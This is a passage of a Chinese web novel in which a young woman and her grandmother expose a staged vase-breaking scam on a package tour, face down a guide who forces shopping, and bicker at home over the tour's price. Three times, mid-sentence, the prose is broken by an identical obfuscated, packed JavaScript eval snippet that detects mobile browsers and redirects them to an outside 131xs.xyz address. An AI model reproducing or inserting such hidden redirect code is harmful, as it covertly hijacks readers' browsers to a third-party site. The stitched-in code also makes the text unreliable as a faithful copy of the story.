她将它藏在手心,不动声色地站起身,拍了拍身上的灰。 姥姥已经挤到了第一排,她回过头,把常乐拉到自己身边。 在人群中间,一个三十岁左右、体型瘦小的女人一巴掌重重拍在小男孩的背上,气恼地骂道:“你这不长眼的狗东西,说了多少遍了,让你别乱跑别乱动!你就是不听!现在好了,你说说怎么办?” 小孩梗着脖子,嗷嗷哭喊道:“我没乱动!它自己倒了,呜呜呜……” “还敢狡辩!”女人一把提起小孩,拎到男店员跟前,呵斥道:“道歉!说对不起!” 小孩还在哭嚎,男店员一脸冷漠地说:“跟我道歉没有用。你应该跟我们大师道歉,这件青花折枝花果纹转心瓶是他花了三个月才完成的艺术品。” 伴随着一声轻咳,人群自动分开一条路。那位复古风大叔走了过来,眉头紧拧,看着小男孩,长叹一口气。 他沉默了好久,才缓缓地说:“不是我要你赔钱,只是,这只花瓶已经被一位外国收藏家预订了。我希望在送它走前,让更多的人欣赏到它的美,所以才放在这里展出。没想到……” 男店员一脸担忧地问大师:“现在怎么办?那位收藏家已经付了全款,下周就要给他送去。” 大师不语,只是盯着小男孩和他的母亲。 众人的目光也落在他们身上。 “这……”女人受不住压力,小声嗫嚅道,“这东西多少钱啊?” “三万二。”男店员声音响亮,掷地有声。 “啊?”女人瞪大眼,脸色瞬间变得苍白,声音带着哭腔,“这么贵,我怎么赔得起啊?大师,我跟您道个歉成吗?我家孩子是淘气了点,但他不是故意的。你要打要骂都行,我是真的拿不出这么多钱啊……” 大师抬起手,打断她的哭诉。 “不是我故意为难你,只是,这件瓷器已经卖出去了,我没办法向买家交代。”他重重地叹了口气,沉吟许久,“这样吧,你我各承担一半的损失,这件事就到此为止吧。” 女人面露难色,支吾道:“一半?就是一万六?可是……可是我……” 男店员厉声道:“大师是看你们母子可怜,于心不忍,才主动承担一半的损失。一万六已经是底线了,这边来刷卡吧。” 他侧过身,抬起手,示意她去收银台。 女人抱紧小男孩,不知所措地站在原地。 “干脆报警吧。”常乐头顶响起一道男声,“等警察来调监控,看看到底是怎么回事。” 常乐回过头,看见钟煜母子就站在身后。钟煜指着天花板上几个角,说:“这几个地方都有监控,应该拍得很清楚。” 大师从容不迫道:“行,你要看监控,我就让你看。” 他大步走向收银台,钟煜和常乐等一群人紧跟其后。 大师吩咐前台的店员:“打开东北角的监控,时间调到五分钟前。” 常乐凑到屏幕前,清清楚楚地看到小男孩跑过去,右手不小心碰到花瓶,紧接着,花瓶轰然倒地。 监控暂停在这一瞬。 众人窃窃私语:“确实是他。”“也太不小心了,大人也不管管。”“可是,这么大只花瓶,怎么一碰就倒?”“瓷器嘛,就是这样,娇贵得很。”…… “怎么样?”大师看向钟煜,眼底有几分挑衅的意味,“可以确认了吧?” 常乐指着监控,大声质问:“怎么不继续看下去?” “没必要浪费时间。”大师摆摆手,“如果你们坚持要报警,那我只能按售价索赔了。” “报!”常乐毫不犹豫地说。 她掏出手机,却发现信号全无,报警电话根本打不出去。她急得打开飞行模式又关掉,关机又开机,试了几次,还是没用。 钟煜察觉到她的焦躁,主动提出:“我来,我手机还有两格信号。” 他摁下110,等了几秒,电话接通。 他三言两语说明了情况。在被问到具体地址时,他迟疑了下,视线在人群中搜寻一番,终于发现坐在门口喝茶的导游。 “导游,这里的地址是什么?” 导游放下茶杯,半晌没吭声,似乎在权衡。 钟煜又问了一遍,并把电话递到他耳边,他才懒洋洋地地报出了地址。 接下来的时间显得格外漫长。其他人不敢随意乱走乱逛,都老老实实地蹲在墙边,盯着着没信号的手机发呆。 “哎,”常乐将钟煜拉到墙角,小声问,“你手机能上网是吧?能不能帮我查一下,那个什么青花什么转心瓶长什么样?” 钟煜说:“刚刚监控里不是看到了吗?” “我只看到一个白底蓝花的大花瓶,没留意具体的形状。”常乐催促道,“你查查,我有重要线索。” 钟煜疑惑地看她一眼,掏出手机,输入“转心瓶”。等了半分钟,屏幕上才缓缓出现一组照片。 常乐点开一张,放大细看每一处弧度,然后举起手中的瓷片,与图片一一对比。 钟煜好奇地问:“这是什么?” “待会儿再解释。”常乐把手机递给他,“你先帮我看看,这片瓷片有可能是刚刚那个花瓶的碎片吗?” 钟煜从她手中拿起瓷片,简单查看一番,就十分确定:“当然不是。先不说弧度对不对,你看这碎片的边缘都泛黄了,但是刚被打碎的花瓶,碎片的边缘肯定是白色的,还有些许粉末。” 他用手指轻抚瓷片的边缘,“这上面很光滑,感觉都包浆了,肯定不是。” 常乐这才松了一口气。 她收好瓷片,回头张望一圈,看到小男孩和女人还怔怔地站在原地,小男孩小声抽泣着,女人也一边抹眼泪,一边焦急地摁着手机。 常乐走过去,安慰女人:“放心吧,警察马上就来了。” 女人擦了擦眼角,担忧地问:“要是他真让我们按原价赔偿怎么办?我是真的拿不出这么多钱。” “不会的。”常乐笃定地说,“这种事警察见得多了,看一眼就知道是什么情况。” “可是,这边的警察肯定会偏向本地人吧……” 常乐思索片刻,说:“要真是这样,我就发抖音曝光他们。” 女人愣了下,眼里透出几分希冀,急切地问:“你是网红吗?” “……算是吧。”常乐厚着脸皮说,“在本地小有名气。” -- 警察终于来了。在打听清楚事情的起因后,他们直奔监控器前,重新看了一遍当时的监控。 在花瓶倒下的一瞬间,店员及时按了暂停键。 “哎哎,别停下,继续看!”常乐在警察身后嚷嚷道,“后面还有重要的细节呢!” 一个方脸警察回头看了她一眼。 “继续。”他命令店员。 店员抬眼看向大师,得到允许后,才摁下播放键。 接下来,小孩蹲地大哭,男店员大步走过来,一脚—— “停下!”常乐的手越过警察的肩,戳了戳屏幕,“你看他在干嘛?” 警察看了一遍,没看出什么端倪,又慢动作回放了几遍,终于发现异常。 方脸警察抬起头,盯着男店员,问:“你把什么东西踢进去了?” 男店员脸色煞白,支支吾吾道:“没、没什么……我一时心急,不小心……” “是这个。”常乐伸出手,摊开手掌,“这是我在那个置物架底下捡到的。你们要是不信,可以继续看后面的监控,应该有个角度能拍到我趴在地上捡东西。” 方脸警察拿起这片陶瓷碎片,举到眼前,端详起来。 常乐解释道:“这片碎片不是花瓶的碎片,而是本来就在那里的。店员怕我们发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905694|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现,所以第一时间把它踢走。” “你怎么能确定?”警察狐疑地盯着她。 “你再看一遍小孩碰倒花瓶之前的监控。”常乐指着屏幕。 方脸警察把店员赶到一旁,直接上手,接管了播放监控的任务。他把时间往回拖了一分钟,慢动作回放,并将画面调至最大。 这下,所有挤在屏幕前的吃瓜群众都发现了—— “这花瓶跟地板不在一条线上啊。” “底下好像垫了什么东西,该不会就是这个碎片吧?” “我说呢,这么大个花瓶,怎么会一碰就倒呢?那小孩也没有用力吧?” “这女人差点当了冤大头,一万六啊,真是狮子大开口。” …… 方脸警察站起身,魁梧的身形压迫感十足。他一脸严肃地盯着大师,厉声问:“你往花瓶底下垫东西,是想干什么?” “还想干什么?”有人小声嘀咕,“碰瓷呗。” 大师紧张地眨眨眼,神色已经慌乱,语气还在强装镇定:“这事我完全不知情。等我调查清楚是谁干的,一定会给你们一个交代。” “嗤——”有人发出一声冷笑。 “至于赔偿,”大师咽了咽唾沫,回头看向那对母子,“我就自认倒霉吧,不追究他们的责任了。” 一场危机就此解决。 但结局并不圆满。常乐以她浅薄的法律知识判定,这大师的行为属于恶意碰瓷,开口就要一万六,够得上诈骗罪了。就这么轻易放过他,实在太不解气。 但那对母子被吓得不轻,不敢追究他的责任,警察也没说什么。所以,常乐即使咽不下这口恶气,也得逼迫自己咽下去。 一行人终于被放出展厅,迫不及待登上大巴车。 常乐后面一位大爷拍拍她的肩,夸赞道:“小丫头真聪明,简直是女福尔摩斯啊。” 常乐不好意思笑笑,“过奖过奖。” 大爷追着她问:“你是不是看过很多推理小说和电影,所以才能这么快破案?” “那倒不是。”常乐如实承认,“我前阵子报过一个旅行团,被坑得很惨,所以有经验了。” 她抬手挡住嘴,小声提醒大爷:“我看这导游也没安好心,估计跟那伙人都串通好了。咱们还是小心点吧。” 大爷不敢置信:“不会吧?这一路上他对我们都挺好的啊。” 常乐冷哼一声。 导游要是真的好,就不会在游客深陷困境时,坐在一旁优哉游哉地喝茶了。 算了,爱信不信吧,她懒得说服别人。 常乐回到座位上,掏出矿泉水,咕噜咕噜灌了半瓶,这才长舒一口气。 导游拿起话筒,语气诚恳地说:“刚刚经历了一场小意外,还好没有人上当受骗,否则,我作为导游,真是难辞其咎。希望这段小插曲,不会影响到我们接下来的行程……” 在常乐前面一排,钟妈妈啧啧赞叹道:“这姑娘真不错,胆大心细,比好多男人都强。” 钟煜淡淡一笑:“是不错。” 钟妈妈怂恿他:“你多跟她接触接触啊。” 钟煜的笑容多了几分无奈,“妈,你不能别总是用挑儿媳的眼光去看别人?你要是觉得她不错,就向她学习,或者跟她做朋友,别老想着谈婚论嫁那档子事。” “瞧你这话说的。”钟妈妈掐了下他的胳膊,不满地说,“我这不是替你着急嘛。相了这么多个,没一个看中的,都快三十的人了——” 钟煜打断她:“哎行了行了,你是来旅游的还是来选秀的?我要是喜欢人家,会主动去追的。这事就不劳你费心了啊。” 钟妈妈催促道:“那你得行动起来啊,就剩明天一天了。这样吧,我明天把老太太支开,给你们制造单独相处的机会……” 她絮絮叨叨地说着自己的计划,钟煜一句话也插不进去,只得无奈地叹了口气。 在他们后排,常乐和姥姥面面相觑。 姥姥捂着嘴直笑,庆幸道:“还好我没摘助听器,不然就听不到这么精彩的计划了。” 常乐一脸无语,“姥,你看上去有点幸灾乐祸。” 姥姥:“我这是高兴,有人夸你呢。” 常乐:“……” 虽然被人夸了,她心里有点小得意,但是…… 拜托,你们密谋能不能小点声! 57. 57 第三天的行程安排得很满。旅行团一大清早就出发,先是去了陶瓷博物馆,走马观花地逛了一圈。 钟妈妈无时无刻不在拉着常乐的姥姥唠嗑,从她退休前是干什么的问到退休后每天都在干什么,还约好了下次一起去旅游。 常乐和钟煜沉默地跟在后面,跟展厅里的陶瓷佛像大眼瞪小眼。 两人本来还相处得挺融洽的,只是,两位长辈的表演过于刻意,反倒让他们之间的气氛变得尴尬。 钟煜不开口,常乐也保持着高冷,心想,来吧,攻略我吧,让我看看你的手段。 “那个,呃……”钟煜抠了抠鼻尖,想了半天,才挤出一句话:“你干这行多久了?” “哈?”常乐一头雾水。她都不清楚自己属于哪一行。 钟煜提醒她:“上次学校开运动会,你不是说你是司机吗?” 常乐回忆了好半天,才记起这档子事。 当时,她为了面子,硬给自己编了个“操盘手”的洋气称号,结果被这只土狗理解成是司机的代称。 “是时候重新做一个自我介绍了。”常乐清清嗓,煞有介事地说,“鄙人不才,是某二胡演奏家的专车司机,某网红的经纪人,某户外爱好者的贴身保镖,某旅游达人的私人助理,还是某四胎宝妈的金牌月嫂。” 钟煜疑惑地张望一圈。 “这里塞不下这么多人吧?” 玻璃展柜里,网红佛像一脸无语地看着他们。 常乐脸上的表情跟它如出一辙。 从博物馆出来后,他们又马不停蹄地赶去三宝村。这座文艺的小村子坐落于青山之下,一条清溪穿流其间,小道两侧遍布艺术馆、咖啡馆、餐厅,随处可见各种造型奇特的陶瓷和雕塑。 从头到尾逛了一圈后,他们被导游带进一个陶艺工作室,学习怎么做陶瓷。 常乐正要去领围裙,钟妈妈已经眼疾手快地抢走两条,转头递给她:“这个好看,你俩一人一条。” 打开一看,一个前面写着“大厨”,另一个写着“吃货”。 常乐一脸无语,将“吃货”围裙递给钟煜。 正要找地方坐下,钟妈妈又急忙招呼她:“哎,这儿正好有两个空座。” 其中一个还是她从一个小孩那儿硬抢过来的。 常乐和钟煜硬着头皮坐在一起,气氛尴尬到了极点。 大家环坐成一圈,每个人前面一台拉胚机,一位年轻女老师站在中间,负责讲解和指导。 先像揉面团一样揉泥,将里面的气泡挤出来。然后放在转盘上,双手包裹住泥团,大拇指向下按压,压出一个坑。接着,双手轻轻向外推,坑慢慢变大,将泥团塑造成想要的形状…… 这个过程还挺舒缓解压的。 常乐和钟煜也渐渐放松下来,开始有一搭没一搭地聊起了天。 当常乐手中的泥团还歪七扭八的时候,钟煜的泥胚已初具雏形。常乐瞥他一眼,问:“你妈是不是催你催得很急啊?” “她急她的,关我什么事。”钟煜无所谓地说。 “那你还那么听话。”常乐忍不住吐槽,“咱们俩都尬聊半天了,你不累吗?” 钟煜转头看着她,忽然笑了。 “我是不太会跟女生聊天。”他坦言道,“不过,我接近你,也不是因为我妈。我是单纯觉得你这个人还不错。” “嗯,你眼光也不错。”常乐点点头,面不改色,心却莫名跳得飞快。 手中的泥胚一歪,又成了一滩不思进取的烂泥。 “你手上沾了太多水。”钟煜提醒她,“慢慢来,别心急。” 常乐“哦”了一声,脑子有些混乱。 她试图岔开话题:“对了,柯牧二怎么样?” 钟煜一愣,语气有些疑惑:“我一把过……怎么了?” “……谁问你这个了?”常乐半天才反应过来,顿时哭笑不得,“我送你的那条狗,叫柯牧二,它在你家还习惯吗?” “哦,你说毛毛啊,它挺好的。”钟煜也明白过来,释然一笑,“能吃能睡,活泼好动,还特别黏我,每天晚上都想蹦上床。”他笑着摇摇头,“可惜腿太短了。” “对了,”他忽然想到什么,“它的腿以后还会长吗?还是一直这么短?” 常乐白他一眼,“它爹是柯基,你说呢?” “我这不是心存侥幸嘛,毕竟它还有一半边牧的基因,而且真的很聪明可爱。” “对嘛,可爱就行了,要那么长的腿干嘛?当童模啊?” 钟煜忍不住笑起来。 “咱俩这不聊得挺好的嘛。”他的眉眼弯成好看的弧度,眼里闪着光,“听你吐槽挺有意思的。哎,你祖上是不是东北的?” “……”常乐瞟他一眼,“咱们湖北佬也可以很幽默的,好吧?” 在两人对面,钟妈妈满意地看着“大厨”和“吃货”聊天,忍不住凑到姥姥旁边,小声说:“你看这两人,是不是挺般配的?” 姥姥敷衍地“嗯嗯”两声,问她:“哎,你这个泥巴是怎么立起来的?” “我家这孩子性格挺好的,长得也周正,就是在小城市不好找对象。”钟妈妈抬起胳膊肘,搡了搡姥姥,“哎,你家常乐也没谈朋友吧?” “哎哟——”姥姥哀叹一声,重新把泥巴揉成团,“真麻烦啊。” 钟妈妈坚持不懈地自说自话:“我对女方没什么要求的,只要孩子喜欢就行,我看他们俩就挺聊得来的……” 姥姥自言自语道:“我想做个大碗,夏天可以装西瓜吃。” 钟妈妈:“……” 经过一番艰苦卓绝的缠斗,常乐手中的泥巴终于乖乖听话,被捏成竹筒的形状。她又用刮刀在上面雕刻出纹路,还捏了几片叶子,点缀在竹筒上。 昨天晚上在陶溪川逛集市时,她看中了一只竹筒造型的陶瓷杯子,一问价格,58。 本想忍痛买下,奈何姥姥死活不同意,说这个价格去十元店可以买五个杯子给全家人用。 钟煜的泥胚也终于成形,上大下小,像一只小碗。他用手指轻轻往里推,将碗边捏成起伏的波浪。 不得不说,搞艺术的人,手就是灵巧,这一推一捏之间,花瓣的形状就出来了。 “呀!”常乐惊喜地发现,这只花瓣形状的小碗,很像她昨天在展厅看中的那套两万八的茶具。 昨晚,她在集市上找了很久,也没找到同款,只得抱憾而归。 再看看自己捏的泥胚,虽然没有那么精致,但常乐觉得,这个竹筒造型简约而不单调,处处透着小巧思,再上个色,简直是件完美的艺术品。 眼看大家都完成得差不多了,老师站在中间,介绍道:“下一步是彩绘,大家可以给自己的作品涂上喜欢的颜色,注意不要涂得太厚了,否则烧出来会很难看。之后,我们会将这些泥胚阴干几天,修平和上釉后,就可以送到窑炉里烧制了。” 常乐拿起笔刷,蘸了一层浅绿色的颜料,刚要往竹筒上涂抹,又听见老师说:“小柴窑烧出来的瓷器釉面光滑,色泽温润,有松脂的润感,但是成本更高。所以每个人需要补交320元——” 她话未说完,常乐就毫不犹豫地抬起手。 “啪——” 一巴掌将竹筒从立体拍成平面。 哼,一滩烂泥,也想骗她的钱。 围裙上溅满了泥巴星子,她无所谓,扬起下巴,气定神闲地盯着女老师,用眼神跟她较劲。 女老师吓呆了。 愣了几秒后,她重新开口,说话都有些结巴:“如果,呃,选择普通的电窑,每个人只需要付50元,呃,留下地址和联系方式,等我们烧制成形后,会包装好寄给大家。” 常乐:“……” 这段话就不能放在前面说吗? 能不能照顾一下她这种价格敏感人群——俗称穷人——的感受? 钟煜瞥她一眼,幽幽地说:“你这脾气也太火爆了,一点就着啊。” 常乐看着面前的一滩烂泥,哀怨中又有有一丝庆幸——虽然她损失了一个堪称艺术品的杯子,但她省了整整五十块啊。 她耸耸肩,解释道:“没办法,我都应激了。一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914154|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说要收钱,就觉得是被导游和商家联合做局了。” 常乐对导游的不信任,在下午得到了充分的验证。 返程的大巴上,导游正跟大家说着告别词,说着说着,居然哭了起来。 一个大男人哭得一滴眼泪也没有,声音却带着浓浓的悲伤,哽咽道:“我真的很舍不得大家,虽然我带这个团,一分钱不挣,但是,呜呜呜……” 常乐斜瞥着姥姥,跟她交换了一个心照不宣的眼神。 一说到钱,就要图穷匕见了。 导游啜泣道:“大家报这个团,虽然要1199,但是——” 姥姥猛地抓住常乐的手,攥得她生疼。 “什么?”她一脸惊恐,质问常乐,“1199?不是199吗?” 常乐“嘶”了一声,试图抽出自己的手,姥姥的手却攥得更紧了。 常乐担心她脆弱的心脏受不了这种打击,只好胡诌道:“那个,我妈她、她是通过同学报名的,老带新有优惠,所以……” 姥姥瞪着她,“所以一个人减了一千?不太可能吧?” “这有什么不可能的。”常乐嘴硬道,“旅行社做活动嘛,打折促销,很正常啊。” 姥姥半信半疑地松开了她。 只听导游继续哭诉:“除去车费、住宿费、餐饮费、门票钱,旅行社基本上不赚钱,我也拿不到一分钱的报酬。所以,如果大家对我这几天的服务还算满意,那接下来的购物环节,请大家表现出诚意,每个人都得消费,不能低于600块。大家能做到吗?” 车厢内鸦雀无声。 导游抹了抹不存在的眼泪,脸色一沉,语气多了几分威胁:“如果大家不配合,那就别怪我采取特殊手段。只要有一个人不达标,其他人都走不了。出来玩,连这点钱都不舍得花,还想白嫖我的服务,我告诉你,任何一家旅行社都不欢迎这种人!你不花钱,就是全车的罪人!” 常乐叹为观止。 她掏出手机,打开地图定位,发现这里离家才200公里,开车三个小时就能到。如果她真的被扔在半路上,就喊家里人来接呗,有什么大不了的。 这种小手段能吓唬到谁啊?真当她没见过世面呢? 所以,当大巴车在一家所谓的商场门口停下、所有人都被关进去时,常乐和姥姥直接选了个墙角蹲下,假装自己是朵蘑菇。 还好这里有信号,可以玩手机打发时间,关键时刻还能报警。 钟煜也带着钟妈妈过来了,蹲在她们面前,担忧地问:“导游不会硬抢吧?” 常乐斜乜着守在门口的导游,翻了个白眼,“他当这里是缅北啊?没刀没枪的,真要干起仗来,咱们一车人还撂不倒他?” “说得对。”钟妈妈攥住拳头,情绪激动,“咱们不能向黑恶势力低头!等回去了我就举报他!” 钟煜蹙眉道:“问题是,如果他把我们一直关在这里,其他人也会向我们施压,到时候会很难办。” 常乐大手一挥,“没事儿。到时候我就倒地上,浑身抽搐,口吐白沫,你们把我抬出去就行。” 钟妈妈笑起来,拍拍她的肩膀,夸道:“真是巾帼不让须眉啊。” 这时,姥姥突然插入一个不相干的话题:“你们两个的报名费是多少啊?” 钟煜和钟妈妈疑惑地对视一眼。 谁都没注意到在一旁疯狂使眼色的常乐。 “大家不都是……1199吗?”钟煜迟疑地说。 姥姥倒吸一口冷气:“没有老带新优惠?没有打折促销?” 钟煜和钟妈妈都摇了摇头。 姥姥气得要抽过去了。 她一巴掌削在常乐的脑袋上,破口大骂:“一千二!这么贵的团,还敢让我们购物!这狗日的导游,黑心肠,烂屁.眼,简直不要脸!” 常乐揉了揉后脑勺,又抠了抠耳朵,试图修复受损的耳膜。 以姥姥此刻的怒气值和战斗力,她完全不用担心出不去的问题。 她甚至想建议导游提前报个警,或者,劝他给自己的后脑勺买份保险。 58. 58 被关在商场里两个多小时后,收银台前排队的人越来越多,导游终于大发慈悲地打开玻璃门,一个一个检查游客的购物小票,达到要求的才能被放出去。 常乐和姥姥镇定自若地混在队伍之中。 轮到姥姥了,导游上下扫她一眼,冷笑一声,刚要开口羞辱几句,姥姥忽然抓住他的胳膊,往自己怀里用力一拽。 紧接着,她的后背重重撞上玻璃门,发出“咚”的一声巨响。 所有人的目光都被吸引过来。 只见这小老太太身体一歪,软绵绵地倒在了地上,眼白上翻,四肢不停地抽动,嘴角还流出了涎水。 “哎哎哎!干嘛呢你!” 常乐大吼一声,冲上去攥住导游的衣领,怒气冲冲道:“你推她干嘛?跟一个八十多岁的老人动手,你还是个人吗?” 导游大力扯回自己的衣领,举起双手作投降状,后退一步。 “别赖我啊,我可什么都没干。” “老太太!老太太!”钟煜蹲在地上,轻轻拍打姥姥的脸,没任何反应。 他抬起头,焦急地说:“可能是被关在里面太久了,长时间缺氧。赶紧把她抬出去吧。” 钟妈妈也反应过来,上前托住姥姥的腋下,将她的上半身抬起。 导游没阻拦,也没帮忙,摆出一副见怪不怪的嘴脸,嘲讽道:“舍不得花钱就直说呗,演这么一出,给谁看呐?” 钟妈妈顿时怒了,把姥姥重新放回地上,站起身,指着导游的鼻子大骂道:“有爹生没娘养的狗东西,懂不懂什么叫尊老爱幼?人家老太太一辈子省吃俭用,好不容易攒点钱出来玩一趟,就因为不想当冤大头,就要被你这样羞辱?人家都八十多岁了,真要有个什么好歹,把你全家卖了都赔不起!” 导游冷嗤一声,向门外摆摆手,“行了行了,演够了就赶紧出去吧,别在这儿挡路了。” 常乐本来都想走了,听他这么一说,又觉得就这么出去了,实在憋屈。 她拽住导游的后衣领,将他大力拖拽到门外,反唇相讥道:“那你也别挡路了。” 她冲里面的吃瓜群众大手一挥,吼道:“出来啊,还等什么呢?” 几个同样没购物的人趁乱跑了出来,其它还在等着结账的人见状也纷纷放下手中的物品,争先恐后地冲了出来。 常乐这才松开导游。 导游猛咳几声,整了整衣领,还不忘讥讽道:“看你经验挺丰富的,是不是经常这样白嫖啊?” 常乐挑挑眉,捂嘴偷笑道:“哦,原来你经常被人白嫖啊?好可怜啊,连鸭子都不如。”她眨眨眼,眼神单纯而无辜,“为什么你不收费呢?是因为行情不好,卖不出去吗?” 导游脸涨得通红,破口大骂道:“你特么才是卖的!没钱就别出来装大爷!” 常乐撇撇嘴,同情地说:“你要是有钱,就不会出来赚这种黑心钱了。可惜啊,良心都卖了,也没卖到几个钱。” 导游一时恼羞成怒,竟说不出反驳的话。 在全车乘客敬仰的目光中,常乐搀扶着装晕的姥姥上了车。 钟妈妈还在小声骂道:“太可恨了!我回去一定要举报他们!” 常乐坐回座位上,抽出纸巾给姥姥擦了擦嘴。 她调侃道:“姥姥,要不怎么说‘家有一老,如有一宝’呢,要是当初讨薪的时候带上你,我也不用费这么大劲了。” 姥姥眼睛眯开一条缝儿,有气无力地说:“我是真的气坏了,一千二啊,干点什么不好,来这里受气!真是糟蹋钱!” 常乐轻抚她的胸口,给她顺气,安慰道:“还好咱们意志坚定,一分钱没花,什么都没买。” -- “什么?”林文娟翻遍了两人的行李包,简直难以置信,“你们什么都没买?” 常乐仰头灌了一杯热茶,长舒一口气,才慢悠悠地说:“妈,先别急着发飙,你待会儿还有一场大劫呢。” 她用眼角瞟了瞟坐在沙发上、脸色阴沉的姥姥。 可惜,林文娟没有接收她的暗示,仍在为两人空手而归的事感到震惊。 “那么多陶瓷,一样都没看中?”她喋喋不休道,“碗啊、盘啊、杯子啊、花瓶啊……” “不是没看中,是有人舍不得。”常乐瞥了姥姥一眼,语气哀怨,“连杯奶茶都不让我买。” “奶茶确实不能喝,不过……”林文娟啧了一声,想唠叨几句,又摇摇头,“唉,算了……对了,这几天你跟钟老师相处得怎么样?” 常建民正在沙发上看电视,听到这话,震惊地看向她,问:“你把他也叫去了?” 林文娟解释道:“我就随口提了一句,没想到他还挺感兴趣的,我就把报名链接发给他了。” “阴险!”常建民忿忿不平道,“说好了要公平竞争,你居然偷偷抢跑?” “哎呀,有什么可竞争的。”林文娟不屑地摆摆手,“你那个根本不可能,别白费功夫了。” 常建民争辩道:“怎么不可能?我觉得他俩挺合适的——” “斯到普!”常乐不得不举起双手,打断两人莫名其妙的battle,“你们在说什么?什么公平竞争?谁跟谁啊?” “不关你的事。”林文娟心虚地转开视线,转身进了厨房,开始淘米做饭。 常乐跟了进去。 “妈,那个……”常乐想提醒她妈做好心理准备,“姥姥已经知道你骗她的事了,她气得冒烟,你小心点。” 林文娟一愣,很快反应过来。她一边摁下电饭煲的煮饭键,一边说:“你说报名费的事啊?她生什么气啊?都是我花的钱。” 她又想到什么,脸上浮起暧昧的笑容,问常乐:“对了,你还没说你跟钟老师的事呢。” 常乐拿起一根黄瓜洗了洗,啃了一大口,没好气地说:“别打听了,什么事都没有。” 林文娟略显失望,又有些不甘心:“一点进展都没有?你就没跟他聊聊天,对他多一点了解,多一点好感?” 常乐认真地想了想,“嗯,我觉得他妈挺不错的,就是有点咋咋呼呼的,跟你一样。你们俩没准儿能成为好姐妹。” 林文娟笑得意味深长,“好姐妹哪比得上好亲家啊。” -- 果然,吃饭的时候,姥姥就发飙了。 她用筷子敲着碗,情绪激动地说:“一千二啊,两个人就是两千四,就玩三天!你怎么想的?” 林文娟给她加了块鱼肉,讪笑道:“妈你尝尝,这是建民下午钓的翘嘴白,可新鲜了。” 常建民附和道:“对对对,春天的鱼最好吃了,妈你尝尝。” 姥姥把筷子一甩,气哼哼地说:“我不吃!我一想到花了两千四,就玩了这么几个地方,气都气饱了!” 林文娟又给常乐夹了个红烧鸡腿,“看你这几天都饿瘦了,在外面没吃饱吧?” 常乐闷头啃着鸡腿,不敢吭声。 姥姥双臂抱怀,脸撇到一旁,用眼角瞟着林文娟。 “还不如报那个新马泰的团呢,也没贵多少,玩的时间更长,还能去三个国家,比这个团划算多了!” 常乐默默抬起头,跟林文娟交换了一个眼神。 铺垫了那么久,原来是这个目的啊。 “妈,我去小区门口的旅行社问过了,你报不了那个团。”林文娟气定神闲地说。 姥姥眉头一挑,“怎么报不了?不就是签证嘛,我明天就去办!” “不是签证的问题。”林文娟夹起一只鸡腿,慢悠悠地啃了起来,“鉴于你上次的表现太差,那家旅行社已经把你拉黑了。” 姥姥:“……” 常乐咬着唇,不敢看姥姥的表情,生怕一不小心没憋住笑,把她伤得更深了。 林文娟看向常乐,“笑什么笑?你也被拉黑了。” 常乐点点头,露出一脸沉痛的表情,“我罪有应得。” 反正这家旅行社她早就避雷了。正好,现在双向奔赴了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919379|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后井水不犯河水。 姥姥还怔怔地望着林文娟,喃喃道:“那可怎么办啊?” “姥,等我攒够了钱,我带你出国。”常乐捡起姥姥的筷子,塞进她手里,“我保证比那些旅行团靠谱。” -- 吃完饭,洗完碗,常乐正要出去溜达溜达,又被姥爷勾勾手,召唤进了书房。 “姥爷,最近流量怎么样啊?” “马马虎虎吧。”姥爷把手机递给她,“你看,这是我今天收到的私信。” 常乐惊喜道:“又接广告了?” 姥爷语气不太确定:“不是广告,好像是个什么合作,想让我去演戏……我也不懂,你看看吧。” 常乐疑惑地接过手机,点开那条私信,是一个叫“杨三金”的博主发的: 【爷爷您好!我们公司正在招募网络短剧演员,需要一个八十岁左右、形象气质口条俱佳的男演员,我觉得您很合适。如果您有意向,可以加微私聊。】 下面是他的微信号,是一串大写数字。 常乐笃定地说:“骗子,别信。” “啊?”姥爷似乎有些失落,“不会吧?我跟他还互相关注了,他的粉丝挺多的,应该不是骗子吧?” “是吗?”常乐狐疑地蹙起眉,点进这人的主页一看,发现有几分眼熟。 诶,这不是上次跟姥爷连线的那个帅哥吗?她记得对方还是个小网红,直播时还挺有礼貌的。 再看看他发的视频,确实是以连续短剧为主,但是布景粗陋,人设单一,妆造也挺敷衍,看上去像是路人随手拍的。 常乐正要退出页面,又留意到他的几条置顶视频,点赞和评论数都挺高的。 她陷入了纠结。 目前可以初步排除对方的嫌疑,但是,姥爷当短剧演员这件事,怎么想都有点…… 荒诞。 “你怎么想的?”常乐问姥爷。 姥爷不好意思地笑了,“我吧,就是觉得这个事儿挺有意思的,但是我又没演过戏,有点担心……但是可以尝试一下,是吧?” 